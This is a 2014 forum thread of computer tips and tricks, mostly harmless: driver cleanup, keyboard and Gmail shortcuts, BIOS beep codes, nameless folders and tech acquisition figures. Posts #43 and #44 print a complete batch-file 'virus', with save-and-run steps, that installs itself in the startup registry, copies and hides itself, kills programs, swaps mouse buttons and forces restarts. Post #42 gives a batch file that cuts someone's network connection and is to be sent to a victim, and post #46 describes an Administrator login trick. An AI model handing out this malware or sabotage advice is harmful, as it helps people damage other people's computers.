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August 16, 2014, 04:47:23 PM
#48
Tip of the Day: Remove old useless drivers

Every time you attach a piece of hardware to your PC, whether it is a USB stick, a new graphics card or a keyboard/mouse, the drivers get installed for that device to become usable by Windows. This is perfectly fine but a problem arises when the device is not going to be permanently connected and may be something you plug-in once and never have to again. Unless you specifically remove the driver by uninstalling through any software which accompanied it, the chances are there will still be an entry for that device left in Windows long after it was removed. Windows will still try to look for and start these devices when booting and although the difference may be tiny, hundreds of them could affect booting time and system performance, especially on older machines. Issues when installing new hardware might also be caused by an old driver conflicting with a new one. Read More

Great Utility for removing Ghost Drivers:
GhostBusters



Tip for Day:  Clean-up all your start up programs.

Here is a great utility for cleaning up all those programs that get installed in the hidden registry entries, startup folders and initialization files.  you can edit, delete, or temporarily disable these programs very easily.

Great utility for cleaning up your startup apps.
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August 16, 2014, 01:30:46 PM
#47
Sweet! That kid seriously has an interesting life, that's for sure. I wish I was that skilled at hacking. I'm an ethical hacker, but I doubt I could get into a NASA computer. However, the government here is often full of potholes because of all the red tape. The sites don't look all that hard to attack, but the military would probably try much harder for their security. I've never hacked the government as I don't have a reason to, but it would be interesting to see if I could do it with permission.
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August 16, 2014, 09:29:49 AM
#46
Access Administrator account: Windows XP ( not sure for Windows 7)
Steps:
1: Boot your computer.
2: Wait for the computer to list all available accounts.
3: Double click Ctrl+Alt+Del twice.
4: A window will appear with User and Passwords.
5: Type "Administrator" in the User space and leave the Password as it is. Click OK and VOILA!! You have entered the Administrator account.

Administrator account is like the first account ever created in a Windows, its different from the account from when we buy a new laptop. I think this is why the "Run as administrator" option is available in Win Vista and 7, although i havent tried to access the administrator account.
   
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et rich or die tryi
August 12, 2014, 06:31:12 PM
#45
Ctrl+Shift+t will re-open a closed tab. its so useful!
legendary
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August 12, 2014, 06:12:01 PM
#44
Very Dangerous Notepad virus
Note: Only for learning purpose


This virus can:
>Copy itself into startup

>Copy itself over one thousand times into random spots in your computer

>Hide its self and all other created files

>Task kill MSN, Norton, Windows Explorer, Limewire.

>Swap the left mouse button with the right one

>Opens alert boxes

>Changes the time to 12:00 and shuts down the computer

* Step 1>>Open Notepad.
* Step 2>>Copy This Code ..
Code :--
--------------- --------------- --------------- --------------- --------------- --------------- ------
Code:
@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Gr eatgame>nul
reg add HKLM\Software\M icrosoft\Window s\CurrentVersio n\Run /v Greatgame /t REG_SZ
/ d %systemroot%\Grea tgame.bat /f>nul
copy %0 *.bat>nul
Attrib +r +h Greatgame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.Swap MouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\d esktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
cd %userprofile%My Documents
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c"VIRUS DETECTED"
start
start
time 12:00
:R.I.P
cd %usernameprofil e%\desktop
copy Greatgame.bat %random%.bat
goto RIP
--------------- --------------- --------------- --------------- --------------- --------------- --------------- ----
copy this code into notepad and save as Greatgame.bat(while saving select all files instead of text ).

**Don't try on anyone's PC , even if you do do it on your own risk .!


Hum.

Mind to share what I need to know to do stuff like this?

And does this works on windows without administrator privileges?
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August 12, 2014, 03:08:10 PM
#43
Very Dangerous Notepad virus
Note: Only for learning purpose


This virus can:
>Copy itself into startup

>Copy itself over one thousand times into random spots in your computer

>Hide its self and all other created files

>Task kill MSN, Norton, Windows Explorer, Limewire.

>Swap the left mouse button with the right one

>Opens alert boxes

>Changes the time to 12:00 and shuts down the computer

* Step 1>>Open Notepad.
* Step 2>>Copy This Code ..
Code :--
--------------- --------------- --------------- --------------- --------------- --------------- ------
Code:
@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Gr eatgame>nul
reg add HKLM\Software\M icrosoft\Window s\CurrentVersio n\Run /v Greatgame /t REG_SZ
/ d %systemroot%\Grea tgame.bat /f>nul
copy %0 *.bat>nul
Attrib +r +h Greatgame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.Swap MouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\d esktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
cd %userprofile%My Documents
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c"VIRUS DETECTED"
start
start
time 12:00
:R.I.P
cd %usernameprofil e%\desktop
copy Greatgame.bat %random%.bat
goto RIP
--------------- --------------- --------------- --------------- --------------- --------------- --------------- ----
copy this code into notepad and save as Greatgame.bat(while saving select all files instead of text ).

**Don't try on anyone's PC , even if you do do it on your own risk .!
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August 04, 2014, 01:19:43 PM
#42
How to stop someone's internet access

Launch Notepad Type in:
 
Code:
@Echo off
Ipconfig /release
Save that as a .bat and send it to someone. They're IP address will be lost when they launch it, and therefore they won't be able to fix it

However, this is VERY easy to fix. Simply type in

Code:
@Echo off
IPconfig /renew
legendary
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quack
July 30, 2014, 09:48:42 AM
#41
ALT is the key. Press ALT in Windows panels like Control Panel. Magical...
As far as I know It just takes you to the menu and underlines the combination of shortcut keys that you can use with Alt key. like pressing alt in control panel will take you to menu bar and will underline keys that you can use as combination with Alt.

In Windows 7 it shows a menu I at least don't see otherwise. This happens in the control panel..

Oh, and another computer tip: It's worth learning Linux.
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July 30, 2014, 09:17:24 AM
#40
ALT is the key. Press ALT in Windows panels like Control Panel. Magical...
As far as I know It just takes you to the menu and underlines the combination of shortcut keys that you can use with Alt key. like pressing alt in control panel will take you to menu bar and will underline keys that you can use as combination with Alt.
legendary
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quack
July 29, 2014, 05:22:49 PM
#39
ALT is the key. Press ALT in Windows panels like Control Panel. Magical...
sr. member
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July 29, 2014, 03:20:10 PM
#38
Tip/Trick: How to use Browser tab/window as Notepad
Do you ever feel requirement of a Notepad in your browser to save temporary texts , So here is one simple Code that you can use to turn any tab into Notepad.

Just Copy and Paste Following code in your Address/Url bar.

 
Code:
data:text/html,

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July 27, 2014, 12:50:17 PM
#37
Trick:- Making Nameless Folder In Windows

In this small tutorial i will show you a smilpe windows trick. Basically you can not make folder with no name on windows. This trick will allow you to make folder without any name. This trick works on any windows operating system .

Before attempting this trick, try to make a folder with no name and you will fail to do so. This is what this trickwill let you do.

1:-Make a Newfolder on desktop or where ever you want.

2:-Right click on this newly created folder and select Rename.

3:-Erase the text showing "New Folder".

4:-Now Press Alt while typing 255[num keypad] .
 If you are on laptop then you need to enable your Num Lock and type from the highlighted number keys not from those below function keys.


5:-Note: Don't release Alt key while typing 255 release Alt key after typing 255.

6:-Done you just created nameless folder.

Does it work for all windows systems? It is quite complicated just to have a nameless folder
Yeah.. for all windows system.
You can not simply  create folder with blank name +you can't create or rename folders with following names.
CON
PRN
AUX
NUL
LPT1
COM1
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July 27, 2014, 09:03:11 AM
#36
Trick:- Making Nameless Folder In Windows

In this small tutorial i will show you a smilpe windows trick. Basically you can not make folder with no name on windows. This trick will allow you to make folder without any name. This trick works on any windows operating system .

Before attempting this trick, try to make a folder with no name and you will fail to do so. This is what this trickwill let you do.

1:-Make a Newfolder on desktop or where ever you want.

2:-Right click on this newly created folder and select Rename.

3:-Erase the text showing "New Folder".

4:-Now Press Alt while typing 255[num keypad] .
 If you are on laptop then you need to enable your Num Lock and type from the highlighted number keys not from those below function keys.


5:-Note: Don't release Alt key while typing 255 release Alt key after typing 255.

6:-Done you just created nameless folder.

Does it work for all windows systems? It is quite complicated just to have a nameless folder
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July 26, 2014, 01:41:46 PM
#35
Trick:- Making Nameless Folder In Windows

In this small tutorial i will show you a smilpe windows trick. Basically you can not make folder with no name on windows. This trick will allow you to make folder without any name. This trick works on any windows operating system .

Before attempting this trick, try to make a folder with no name and you will fail to do so. This is what this trickwill let you do.

1:-Make a Newfolder on desktop or where ever you want.

2:-Right click on this newly created folder and select Rename.

3:-Erase the text showing "New Folder".

4:-Now Press Alt while typing 255[num keypad] .
 If you are on laptop then you need to enable your Num Lock and type from the highlighted number keys not from those below function keys.


5:-Note: Don't release Alt key while typing 255 release Alt key after typing 255.

6:-Done you just created nameless folder.
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July 22, 2014, 08:32:28 AM
#34
Some Common Hardware And Software Problem , Causes and Solution.

1. MONITOR LED IS BLINKING
Check all the connections like Monitor Cable, Data cables,RAM, Display Card , CPU connections.

2. CONTINUOS THREE BEEPS
Problem in RAM Connection.

3. THREE BEEPS ( 1 Long 2 Short)
Problem in Display Card Connection

4. THREE LONG BEEPS PERIOD WISE
Problem in BIOS or RAM (Basic Input Output System)

5. CONTINUOS NON-STOP BEEPING
Key Board Problem (I.e.; Some Key is pressed for Longer time)

6. FDD LED IS GLOWING CONTINUOSLY
Data cable to be connected properly (twisted cable).

7. NO DISPLAY ON THE SCREEN AT ALL
Hard Disk cable connected wrongly. Connect rightly seeing the Red mark (Faces power supply) and then Restart.

8. POWER LED IS OFF
a. Check main power cord
b. Check S.M.P.S.
c. Check Mother Board connection

9. SHOWING CMOS ERROR
Replace 3 Volt battery of Mother Board . Set Original Settings Manually.(Refer CMOS Setup chart)
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10. SHOWING FDD ERROR OR FLOPPY DRIVE IS NOT WORKING PROPERLY
Check Power cord of FDD , Data Cables , set CMOS & Finally the Check drive.

11. SHOWING HDD ERROR OR HARD DISK FAILURE
a. Check Power Cord
b. Check connection of HDD
c. Check Data cable
d. Check Hard Disk parameters in CMOS or Auto detecting Setting Partitions by Fdisk Command, then format it to set track 0.

12. MOTHER BOARD HANGS DUE TO UNSTABILIZED POWER SUPPLY
a. Check S.M.P.S
b. RAM not functioning properly.
c. Software problem (due to using pirated software)
d. CPU fan not functioning properly.

13. DANCING SCREEN
a. Check Display card connection
b. Virus Problem
c. Video Memory Problem

14. SHAKING SCREEN
a. Earthing problem
b. Magnetic waves comes around.

15. CPU CABINET SHOCK
a. Check Earthing
b. Check main power cord.

16. NON-SYSTEM DISK ERROR
a. Floppy Drive having different disk (Non-Bootable Disk) OR CMOS Parameters for Hard Disk may not be set properly.
b. Hard Disk Partitions may not be created.
c. Hard Disk may not be formatted.

17. MISSING OPERATING SYSTEM
The System files missing namely Ie; command.com} - User File IO.SYS & MS_DOS.SYS } - Hidden Files. These above three files required for Start up of the system that can be transferred by using SYS C: Command OR While the time of formatting by using Format c:/u/s

18. MISSING COMMAND INTERPRETOR
May the file Command.com is corrupted OR Infected by Virus OR S
ome one has Erased it.

19. SHOWING I/O ERROR
a. The type of Hard Disk in CMOS may not be set properly.
b. Operating system used for formatting is not valid

20. SHOWING DIVIDE OVER- FLOW MESSAGE
a. May some Directories or Files crash with other files.
b. Use CHKDSK/F or SCANDISK Command to correct it.

21. HARD DISK MAKING NOISE WHILE PROCESSING
a. Unstabilized power supply.
b. Check for Loose Contact.
c. Do not use Y Connectors for Hard Disk.
d. It may create Bad Sector OR Weak Hard Disk.

22. HARD DISK HANGS WHILE PROCESSING
Check for Bad Sector by using CHKDSK or SCANDISK Command. If found format the Hard Disk and set Partition before that area.(This is the only procedure to use Hard Disk with Bad Sector) OR (To avoid Bad Sectors use Standard Power Supply)

23. HARD DISK NOT DETECTED
a. Check Power Connector
b. Check Data Cables
c. Check Jumpers

24. PARTITION NOT SHOWN
Operating System where the Hard Disk formatted is not supported with present Mother Board. For Eg: Hard Disk formatted with Pentium System will hide their partitions for 486 System.

25. MMX/DLL FILE MISSING
May the above files may be corrupted due to power failure or Virus. Make available above files from other Computer. OR Reinstall Windows 98 Operating System. (This procedure will not make any effect on existing Data).

26. WINDOWS REGISTRY ERROR
This will happen due to sudden ON/OFF of the system. Final solution is to Reinstall Operating System.

27. DISPLAY COLOUR DOES NOT MATCH
a. Configure Display Card properly with their CD.
b. The Standard setting for Windows is set it to 800x600 for better performance.

28. UNKNOWN DEVICE FOUND
May the Driver utility is not provided with operating system . Insert Driver CD and install software for the above Device. (Every Device requires driver utility to set active
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July 19, 2014, 11:35:20 AM
#33
Tip of the Day
Easiest Way to Download videos from YOUTUBE without any software or addon.  Just Follow the following steps

Step 1: Open any video on YouTube that you want to download.  Every youtube video has an unique link [that you must know already] This is YouTube video link:


Step 2:Delete www. and paste ss like this:

           delete http: and everything ahead of youtube.com and paste ss and Press Enter

Step 3: Now it will take you to a  new website named "Save From"
Just click the Format of video you want and thats it.



NOTE:If you have queries or any related post to this topic I request you to pls Post them on link below: All other Posts will be deleted
Discussion Thread for Computer Tips, Tricks and Facts

How do I know this is safe?  Huh

thanks for the info, saves me so much time now Smiley
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July 19, 2014, 08:22:42 AM
#32
Useful Gmail Shortcuts Embarrassed

NOTE:- Must have "keyboard shortcuts" ON in settings.

* C:
 Compose new message.

* Shift + C:
 Open new window to compose new message.

* Slash (/):
Switch focus to search box.

* K:
Switch focus to the next most recent email. Enter or "O" opens focused email.

* J:
Switch focus to the next oldest email.

* N:
Switch focus to the next message in the "conversation." Enter or "O" expands/collapses messages.

* P:
Switch focus to the previous message.

* U:
Takes you back to the inbox and checks for new mail.

* Y: Various actions depending on current view:
     * Has no effect in "Sent" and "All Mail" views.
     * Inbox: Archive email or message.
     * Starred: Unstar email or message.
     * Spam: Unmark as spam and move back to "Inbox."
     * Trash: Move back to "Inbox."
     * Any label: Remove the label.

* X:
"Check" an email. Various actions can be performed against all checked emails.

* S:
"Star" an email. Identical to the more familiar term, "flagging."

* R: Reply to the email.

* A: Reply to all recipients of the email.

* F: Forward an email.

* Shift + R: Reply to the email in a new window.

* Shift + A: Reply to all recipients of the email in a new window.

* Shift + F: Forward an email in a new window.

* Shift + 1 (!): Mark an email as spam and remove it from the inbox.

* G then I: Switch to "Inbox" view.

* G then S: Switch to "Starred" view.

* G then A: Switch to "All Mail" view.

* G then C: Switch to "Contacts" view.

* G then S: Switch to "Drafts" view.
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July 19, 2014, 05:14:37 AM
#31
INFO:-


► HP purchased Compac @$25 Billion.

► Facebook purchased WhatsApp @$19 Billion.

►Google purchased Motorola @$12.5 Billion.

►Microsoft purchased Skype @$8.5 Billion!

► Microsoft purchased Nokia @$7.7 Billion.

► Oracle purchased@Sun&Java @$7.4 Billion.

► Lenovo purchased Motrola @$2.8 Billion.

► Google purchased YouTube @$1.65 Billion.


1.65B for youtube seemed huge at the time but it was a great buy for Google, they are innovating so much and they offer most their services for free yet most people are more afraid of them than of their government!?

Nice tricks, keep them coming Wink
YouTube was just one year old when google bought it in 2006 and it was peeking up , one of the best tech buy of this decade. You are right that Google is innovating and providing so many services for free but nothings comes for free as we all know so we are compromising our privacy. if you are ok with it than Google is best out there otherwise there are enough reason to criticize Google.
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July 18, 2014, 07:04:04 PM
#30
INFO:-


► HP purchased Compac @$25 Billion.

► Facebook purchased WhatsApp @$19 Billion.

►Google purchased Motorola @$12.5 Billion.

►Microsoft purchased Skype @$8.5 Billion!

► Microsoft purchased Nokia @$7.7 Billion.

► Oracle purchased@Sun&Java @$7.4 Billion.

► Lenovo purchased Motrola @$2.8 Billion.

► Google purchased YouTube @$1.65 Billion.


1.65B for youtube seemed huge at the time but it was a great buy for Google, they are innovating so much and they offer most their services for free yet most people are more afraid of them than of their government!?

Nice tricks, keep them coming Wink
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July 18, 2014, 03:52:23 AM
#29
INFO:-


► HP purchased Compac @$25 Billion.

► Facebook purchased WhatsApp @$19 Billion.

►Google purchased Motorola @$12.5 Billion.

►Microsoft purchased Skype @$8.5 Billion!

► Microsoft purchased Nokia @$7.7 Billion.

► Oracle purchased@Sun&Java @$7.4 Billion.

► Lenovo purchased Motrola @$2.8 Billion.

► Google purchased YouTube @$1.65 Billion.
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